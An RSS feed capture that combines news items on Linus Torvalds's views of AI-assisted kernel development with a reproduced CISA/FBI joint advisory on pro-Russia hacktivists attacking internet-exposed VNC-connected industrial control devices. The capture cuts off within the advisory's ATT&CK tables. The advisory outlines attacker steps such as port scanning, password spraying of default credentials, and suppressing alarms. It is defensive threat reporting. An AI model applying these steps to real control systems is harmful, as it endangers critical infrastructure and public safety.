<a class="slashpop" href="http://twitter.com/home?status=Valve+Will+Finally+Let+You+Build+Your+Own+Steam+Machine+With+SteamOS+For+Desktop%3A+https%3A%2F%2Fgames.slashdot.org%2Fstory%2F26%2F06%2F22%2F1922207%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
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</div><p><a href="https://games.slashdot.org/story/26/06/22/1922207/valve-will-finally-let-you-build-your-own-steam-machine-with-steamos-for-desktop?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Linus Torvalds on AI, Junk Patches, Humans, and Godzilla]]></title>
<description><![CDATA[Linus Torvalds once said LLMs might bring a 10X increase to programmer productivity. But speaking at Open Source Summit India 2026, he now says that number was "not scientific,"
reports ZDNet. "That was pulled out of my ass number, obviously."


Today, he continued, "we're at the point where hope...]]></description>
<link>https://tsecurity.de/de/3693456/linux-tipps/linus-torvalds-on-ai-junk-patches-humans-and-godzilla/</link>
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<pubDate>Sat, 25 Jul 2026 10:12:40 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Linus Torvalds once said LLMs might bring a 10X increase to programmer productivity. But speaking at Open Source Summit India 2026, he now says that number was "not scientific,"
reports ZDNet. "That was pulled out of my ass number, obviously."


Today, he continued, "we're at the point where hopefully it creates more productivity than it takes away," but "we certainly saw more junk being generated by LLMs than we saw useful code up until the like early this year.... it can actually be a huge drain on resources when it takes humans a lot of effort to figure out that, hey, this machine-generated report was not true." Even now, he said, "most of the good ones require more than just the LLM," because "we've had to push back quite a bit... if you find a bug with an LLM, it's not enough to just ask the LLM to make a bug report and then throw it over the fence to us. We want to see a suggested patch; we want to see the human who ran the LLM act as a kind of back-and-forth." 

Torvalds described many AI-generated patches as "mindless band-aid kind of patches... they may fix the immediate problem, but the kind of bug remains, and it just is waiting in the hallway to hit you in another place." For his own toy projects, he uses LLMs as prototypers: "I use them as a way to prototype things... quite often the code is not usable in that form, but it's a great way to try something out," while insisting that for kernel-level fixes, "LLMs, in my experience, have not been at that level yet." 

Torvalds acknowledged that some AI-found issues have been "absolutely, stunningly, I mean, interesting in a painful kind of way," especially security problems that "show up in the technology press two days later." Despite the embarrassment, he said, "I'm very much not a shoot-the-messenger kind of person. I think we're much better off with LLMs finding bugs, even when they are embarrassing, and they are things that we should probably have found two decades ago."

 

Torvalds also said he's using AI "for my own toy projects... Every time I travel to some new place, and this is the first time I've been to India, I send the kids pictures of where I am, and for some strange reason, Godzilla seems to follow me around and gets added to those pictures." 

ZDNet notes that Torvalds concluded, "There are many useful and less useful uses for AI," and "I think Godzilla is a great place to stop." 

Thanks to Slashdot reader joshuark for sharing the article.<p></p><div class="share_submission">
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<title><![CDATA[Linus Torvalds To Critics of AI Coding On Linux: 'Fork It. Or Just Walk Away.']]></title>
<description><![CDATA[Linus Torvalds says the Linux kernel will not ban AI-assisted coding tools, and if anti-AI absolutists have a problem with that, they can "fork it" or "walk away." An anonymous reader quotes a report from Ars Technica: Writing in a lengthy post on the Linux kernel mailing list this week, Torvalds...]]></description>
<link>https://tsecurity.de/de/3693454/linux-tipps/linus-torvalds-to-critics-of-ai-coding-on-linux-fork-it-or-just-walk-away/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693454/linux-tipps/linus-torvalds-to-critics-of-ai-coding-on-linux-fork-it-or-just-walk-away/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:30 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Linus Torvalds says the Linux kernel will not ban AI-assisted coding tools, and if anti-AI absolutists have a problem with that, they can "fork it" or "walk away." An anonymous reader quotes a report from Ars Technica: Writing in a lengthy post on the Linux kernel mailing list this week, Torvalds said that "Linux is not one of those anti-AI projects, and if somebody has issues with that, they can do the open-source thing and fork it. Or just walk away." The statement came amid a lengthy thread arguing about the use of Sashiko, an "agentic Linux kernel code review system" that its creators claim can, in tests, independently find 53.6 percent of the bugs that would end up being fixed by human coders in later commits. But the tool can also waste maintainers' time by sending "false positive" reports of bugs that don't exist, at a rate Sashiko's maintainers estimate is "well within [the] 20% range."
 
In discussing whether maintainers should be subjected to a flood of these kinds of automated, AI-powered bug report emails (true or false), one poster cited the Software Freedom Conservancy's recent statement that the open source community "should support, not just tolerate, those who outright reject LLM-gen-AI systems" and that "every FOSS contributor deserves self-determination regarding LLM-gen-AI." In the face of that statement, Torvalds said that he rejects those who demand that their open source projects not accept any LLM-generated code or revisions. "We're not forcing anybody to use [LLM tools], but I will very loudly ignore people who try to argue against other people from using it," Torvalds said.
 
Torvalds said his position on this is a pragmatic one that's "based on technical merit. Not fear of new tools." And when it comes to utility, Torvalds said that "AI is a tool, just like other tools we use. And it's clearly a useful one. It may not have been that 'clearly' even just a year ago, but it's no longer in question today. Anybody who doubts that clearly hasn't actually used it." [...] While Torvalds acknowledged that "AI isn't perfect," he urged detractors to compare the output of these tools to the performance of human code maintainers. "Anybody who points to the problems at AI had better be looking in the mirror and pointing at themselves at the same time," Torvalds wrote. "Because it's not like natural intelligence is always all that great either."<p></p><div class="share_submission">
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<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-12/aa25-343a-pro-russia-hacktivists-conduct-attacks_0.pdf" class="c-file__link" target="_blank">Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.53 MB
  )</span>
  </div>
</div>
<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
<p>Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host <code>DDoSia</code> and share materials and TTPs with their followers. </p>
<p>In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.</p>
<h3><strong>Z-Pentest</strong></h3>
<p>Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.</p>
<p>Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.</p>
<h3><strong>Sector16</strong></h3>
<p>Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.</p>
<p>Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the MITRE ATT&amp;CK<sup>®</sup> <a href="https://attack.mitre.org/versions/v18/matrices/enterprise/" title="Matrix for Enterprise framework" data-entity-type="external">Matrix for Enterprise framework</a>, version 18. See the <a href="https://www.cisa.gov/#MITRE" title="MITRE ATT&amp;CK Tactics and Techniques"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>TTP Overview</strong></h3>
<p>Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.</p>
<p>Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.</p>
<p>Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Sector">Water and Wastewater</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector" data-entity-type="external">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a> Sectors.</p>
<p>Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:</p>
<ul>
<li>Scan for vulnerable devices on the internet [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>] with open VNC ports [<a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a>].</li>
<li>Initiate temporary virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a>] to execute password brute force software.</li>
<li>Use VNC software to access hosts [<a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a>].</li>
<li>Confirm connection to the vulnerable device [<a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a>].</li>
<li>Brute force the password, if required [<a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a>].</li>
<li>Gain access to HMI devices [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>], typically with default [<a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a>], weak, or no passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a>].</li>
<li>Log the confirmed vulnerable device IP address, port, and password.</li>
<li>Using the HMI graphical interface [<a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a>], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [<a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a>]:
<ul>
<li>Modify usernames/passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify parameters [<a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a>];</li>
<li>Modify device name [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify instrument settings [<a href="https://attack.mitre.org/versions/v18/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a>];</li>
<li>Disable alarms [<a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a>];</li>
<li>Create loss of view (a technique that mandates local hands-on operator intervention) [<a href="https://attack.mitre.org/versions/v18/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a>]; and/or</li>
<li>Device restart or shutdown [<a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a>].</li>
</ul>
</li>
<li>Disconnect from the device, ending the VNC connection.</li>
<li>Research the compromised device company after the intrusion [<a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a>].</li>
</ul>
<h4><strong>Propagation</strong></h4>
<p>To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.</p>
<h4><strong>Reconnaissance and Initial Access</strong></h4>
<p>The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as <code>Nmap</code> or <code>OPENVAS</code>, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port <code>5900</code> or other nearby ports (<code>5901-5910</code>). Their goal is to gain remote access to HMI devices connected to live control networks.</p>
<p>Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.</p>
<h4><strong>Impact</strong></h4>
<p>While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.</p>
<p>Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.</p>
<h2><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to <a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a> for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<p><a class="ck-anchor"></a></p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 1. Reconnaissance</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Gather Victim Organization Information</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a></td>
<td>Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a></td>
<td>Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 2. Resource Development</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Server</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a></td>
<td>Threat actors use virtual infrastructure to obfuscate identifiers.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 3. Initial Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a></td>
<td>Threat actors gain access through less secure HMI devices exposed to the internet.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 4. Persistence</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a></td>
<td>Threat actors use password guessing tools to access legitimate accounts on the HMI devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 5. Credential Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Brute Force: Password Spraying</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a></td>
<td>Threat actors use tools to rapidly guess common or simple passwords.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 6. Lateral Movement</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Default Credentials</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a></td>
<td>Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.</td>
</tr>
<tr>
<td>Remote Services</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a></td>
<td>Threat actors leverage VNC services to access system HMI devices.</td>
</tr>
<tr>
<td>Remote Services: VNC</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a></td>
<td>Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 7. Execution</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Graphical User Interface</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a></td>
<td>Threat actors interact with HMI devices via GUIs, attempting to modify control devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 8. Inhibit Response Function</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Device Restart/Shutdown</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a></td>
<td>While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.</td>
</tr>
<tr>
<td>Alarm Suppression</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a></td>
<td>Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.</td>
</tr>
<tr>
<td>Change Credential</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a></td>
<td>Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 9. Impair Process Control</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
